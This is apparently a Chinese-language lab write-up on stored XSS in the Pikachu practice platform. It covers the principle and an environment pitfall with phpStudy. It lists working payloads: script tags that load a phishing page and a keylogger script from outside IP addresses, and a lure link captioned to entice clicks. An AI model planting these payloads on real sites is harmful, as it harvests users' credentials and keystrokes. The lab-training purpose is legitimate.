原理:使用者提交的XSS代码被存储到服务器上的数据库里或页面或某个上传文件里,导致用户访问页面展示的内容时直接触发xss代码。 输入内容后直接在下方回显,回显的地方就是我们插入的内容的地方。
根据显示代码进行闭合弹框尝试,payload:
黑客一般都会使用存储型xss进行钓鱼。 在pikachu平台自带有钓鱼功能,鱼饵:http://81.68.155.178:82/pkxss/xfish/fish.php
将上面的鱼饵写入到我们的存储型xss中,然后引诱鱼儿上钩:
payload:<script src="http://81.68.155.178:82/pkxss/xfish/fish.php"></script>
或者写的再诱惑点:
<a href="http://81.68.155.178:82/pkxss/xfish/fish.php">登录看大美丽照片</a>
这里有个巨坑,由于这里用的phpstudy搭建的环境,会发现一直提交授权,一直输入密码都不会将数据写入数据库。这个坑后来找到了原因:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本,我这里使用的是phpStudy搭建的环境,默认是以CGI版本运行PHP。后续通过重新搭建环境解决此问题。一直没有写入到数据库中键盘记录:
payload:<script src="http://150.158.23.229:8000/pkxss/rkeypress/rk.js"></script>
将pik中rk.js文件中ip修改为云服务器的ip。
把上述payload写入输入框中,当前页面的键盘就会被记录